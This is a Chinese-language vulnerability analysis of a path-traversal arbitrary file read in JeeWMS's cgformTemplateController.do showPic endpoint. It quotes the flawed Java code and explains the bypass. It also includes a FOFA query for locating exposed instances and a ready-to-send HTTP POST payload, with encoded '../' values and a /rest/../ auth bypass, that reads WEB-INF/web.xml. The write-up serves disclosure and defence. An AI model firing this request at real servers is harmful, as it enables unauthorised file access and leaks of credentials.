漏洞简介
JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS cgformTemplateController.do 接口存在任意文件读取漏洞,攻击者可以利用该漏洞读取服务器上任意文件内容,造成敏感信息泄露。
影响版本
20250515(最新版本)
fofa语法
body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"
漏洞分析
直接看 showPic 的实现部分 src/main/java/org/jeecgframework/web/cgform/controller/template/CgformTemplateController.java
/**
* 查看图片
* @param request
* @param code
* @param path
* @param response
*/
@RequestMapping(params = "showPic")
public void showPic(HttpServletRequest request,String code, String path,HttpServletResponse response){
String defaultPath="default.jpg";
String defaultCode="default/images/";
//无图片情况
if(path==null){
path=defaultPath;
code=defaultCode;
}else{
//临时图片
if(code==null){
code="temp/";
}else{
code+="/images/";
}
}
FileInputStream fis = null;
OutputStream out = null;
response.setContentType("image/" + FileUtils.getExtend(path));
try {
out = response.getOutputStream();
File file = new File(getUploadBasePath(request),code+path);
if(!file.exists()||file.isDirectory()){
file=new File(getUploadBasePath(request),defaultCode+defaultPath);
}
fis = new FileInputStream(file);
byte[] b = new byte[fis.available()];
fis.read(b);
out.write(b);
out.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (fis != null) {
try {
fis.close();
out.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
再看下 getUploadBasePath 方法的实现
//获取上传根路径
private String getUploadBasePath(HttpServletRequest request){
// String path=request.getSession().getServletContext().getRealPath("/WEB-INF/classes/online/template");
ClassLoader classLoader = this.getClass().getClassLoader();
URL resource = classLoader.getResource("sysConfig.properties");
String path = resource.getPath();
path = path.substring(0,path.indexOf("sysConfig.properties"))+"online/template";
// String path= this.getClass().getResource("/").getPath()+"online/template";
path = path.replaceAll("%20", " ");//解决tomcat安装路径包含空格的问题
return path;
}
- 代码中直接将前端传入的
code、path拼接到服务器文件系统路径上:
File file = new File(getUploadBasePath(request), code + path); - 对
code、path从未做任何白名单、黑名单或正规化处理,也未限制只能在某个子目录下读取。 - 这样一来,攻击者可以通过在
code或path中携带“../”等路径穿越字符,访问任意文件。 - 虽然有
if(!file.exists()||file.isDirectory())的判断,但只判断了文件是否存在或是否为目录,不会阻止“../”跳出预期目录。 getUploadBasePath返回的基础目录是/WEB-INF/classes/online/template- code=“../../../” → 拼接后变为 “../../../images/”
- path=“../web.xml”
- 合并后为
/online/template/../../../images/../web.xml最终变为/WEB-INF/web.xml
整体执行流程如下图所示

其次是根据 JeeWMS 框架的特点,访问URL也就是: /jeewms/cgformTemplateController.do (注意 jeewms 不一定存在),结合前面的权限绕过分析文章,也可以是 /jeewms/rest/../cgformTemplateController.do 或者 /rest/../cgformTemplateController.do
漏洞复现
POST /rest/../cgformTemplateController.do?showPic HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
code=%2E%2E%2F%2E%2E%2F%2E%2E%2F&path=%2E%2E%2Fweb.xml
成功读取到 web.xml 文件

参考
https://gitee.com/erzhongxmu/JEEWMS/issues/I8YN90https://gitee.com/erzhongxmu/JEEWMS/issues/IC5FNV

